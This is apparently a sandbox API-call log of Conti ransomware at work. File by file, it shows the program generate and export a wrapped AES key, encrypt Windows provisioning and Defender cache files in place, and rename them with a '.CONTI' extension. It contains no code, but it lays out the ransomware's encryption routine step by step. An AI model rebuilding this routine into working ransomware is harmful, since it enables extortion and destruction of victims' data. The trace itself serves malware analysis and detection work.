	[0114.298] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml"
	[0114.298] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.298] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\81__Connections_Cellular_Vipnet (Croatia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\81__connections_cellular_vipnet (croatia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.298] GetProcessHeap () returned 0x1720000
	[0114.298] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.299] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0114.299] GetProcessHeap () returned 0x1720000
	[0114.299] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b565b0 | out: hHeap=0x1720000) returned 1
	[0114.299] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0114.299] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e4e8 | out: phKey=0x6b4e4e8*=0x17c81b0) returned 1
	[0114.299] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e4ec, pdwDataLen=0x4abfcac | out: pbData=0x6b4e4ec*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0114.299] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0114.300] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0114.300] GetLastError () returned 0x0
	[0114.300] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=472) returned 1
	[0114.300] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d8
	[0114.300] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.300] SetEndOfFile (hFile=0x314) returned 1
	[0114.309] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.309] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.309] WriteFile (in: hFile=0x314, lpBuffer=0x6b4e4ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x6b4e4ec*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0114.311] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.311] ReadFile (in: hFile=0x314, lpBuffer=0xd540000, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x1d8, lpOverlapped=0x0) returned 1
	[0114.311] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1d8, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x1e0) returned 1
	[0114.311] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.311] WriteFile (in: hFile=0x314, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x1e0, lpOverlapped=0x0) returned 1
	[0114.311] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.311] WriteFile (in: hFile=0x314, lpBuffer=0x6b4e4e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x6b4e4e0*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0114.311] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.311] CloseHandle (hObject=0x314) returned 1
	[0114.311] GetProcessHeap () returned 0x1720000
	[0114.311] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.311] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0114.311] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0114.311] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\82__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0114.312] GetProcessHeap () returned 0x1720000
	[0114.312] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.312] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0114.312] GetProcessHeap () returned 0x1720000
	[0114.312] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18197f8 | out: hHeap=0x1720000) returned 1
	[0114.312] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0114.313] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x6b50968 | out: phKey=0x6b50968*=0x17c81b0) returned 1
	[0114.313] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b5096c, pdwDataLen=0x4abfcac | out: pbData=0x6b5096c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0114.313] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.313] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0114.314] GetLastError () returned 0x0
	[0114.314] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=717) returned 1
	[0114.314] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0114.314] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.314] SetEndOfFile (hFile=0x314) returned 1
	[0114.314] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.314] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.314] WriteFile (in: hFile=0x314, lpBuffer=0x6b5096c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x6b5096c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0114.320] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.320] ReadFile (in: hFile=0x314, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2cd, lpOverlapped=0x0) returned 1
	[0114.321] CryptEncrypt (in: hKey=0x17c81b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2cd, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2d0) returned 1
	[0114.321] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.321] WriteFile (in: hFile=0x314, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.321] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.321] WriteFile (in: hFile=0x314, lpBuffer=0x6b50960*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x6b50960*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0114.321] SetFilePointer (in: hFile=0x314, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.321] CloseHandle (hObject=0x314) returned 1
	[0114.321] GetProcessHeap () returned 0x1720000
	[0114.321] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.321] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml"
	[0114.321] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.321] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\83__connections_cellular_areeba ltd (cyprus)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.322] GetProcessHeap () returned 0x1720000
	[0114.322] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.322] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0114.322] GetProcessHeap () returned 0x1720000
	[0114.322] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b57cc0 | out: hHeap=0x1720000) returned 1
	[0114.322] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0114.322] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e978 | out: phKey=0x6b4e978*=0x6b7f038) returned 1
	[0114.322] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e97c, pdwDataLen=0x4abfcac | out: pbData=0x6b4e97c*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0114.323] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.323] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0115.103] GetLastError () returned 0x0
	[0115.103] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=720) returned 1
	[0115.103] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0115.103] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.103] SetEndOfFile (hFile=0x3d8) returned 1
	[0116.514] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.514] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.514] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4e97c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4abfc64, lpOverlapped=0x0 | out: lpBuffer=0x6b4e97c*, lpNumberOfBytesWritten=0x4abfc64*=0x20c, lpOverlapped=0x0) returned 1
	[0116.519] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.519] ReadFile (in: hFile=0x3d8, lpBuffer=0xd540000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x4abfc84, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesRead=0x4abfc84*=0x2d0, lpOverlapped=0x0) returned 1
	[0116.519] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2d0, dwBufLen=0x500000 | out: pbData=0xd540000*, pdwDataLen=0x4abfc7c*=0x2e0) returned 1
	[0116.519] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.519] WriteFile (in: hFile=0x3d8, lpBuffer=0xd540000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x4abfc98, lpOverlapped=0x0 | out: lpBuffer=0xd540000*, lpNumberOfBytesWritten=0x4abfc98*=0x2e0, lpOverlapped=0x0) returned 1
	[0116.519] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.519] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b4e970*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4abfcb0, lpOverlapped=0x0 | out: lpBuffer=0x6b4e970*, lpNumberOfBytesWritten=0x4abfcb0*=0x8, lpOverlapped=0x0) returned 1
	[0116.519] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.519] CloseHandle (hObject=0x3d8) returned 1
	[0116.661] GetProcessHeap () returned 0x1720000
	[0116.661] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x658fec8
	[0116.661] lstrcpyW (in: lpString1=0x658fec8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml"
	[0116.661] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml.CONTI"
	[0116.661] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\84__connections_cellular_cytamobile-vodafone (cyprus)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0116.676] GetProcessHeap () returned 0x1720000
	[0116.676] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x658fec8 | out: hHeap=0x1720000) returned 1
	[0116.676] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0116.676] GetProcessHeap () returned 0x1720000
	[0116.676] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c8ce0 | out: hHeap=0x1720000) returned 1
	[0116.676] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4abfcd8, lpCompletionKey=0x4abfcdc, lpOverlapped=0x4abfce8) returned 1
	[0116.676] CryptGenKey (in: hProv=0x176b930, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f050 | out: phKey=0x6b4f050*=0x6b7f4f8) returned 1
	[0116.676] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x175dff0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f054, pdwDataLen=0x4abfcac | out: pbData=0x6b4f054*, pdwDataLen=0x4abfcac*=0x20c) returned 1
	[0116.682] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7c")) returned 0x820
	[0116.683] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.7C" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.7c"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0116.689] GetLastError () returned 0x0
	[0116.689] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x4abfc58 | out: lpFileSize=0x4abfc58*=5410816) returned 1
	[0116.695] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x529000
	[0116.696] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.699] SetEndOfFile (hFile=0x388) returned 1
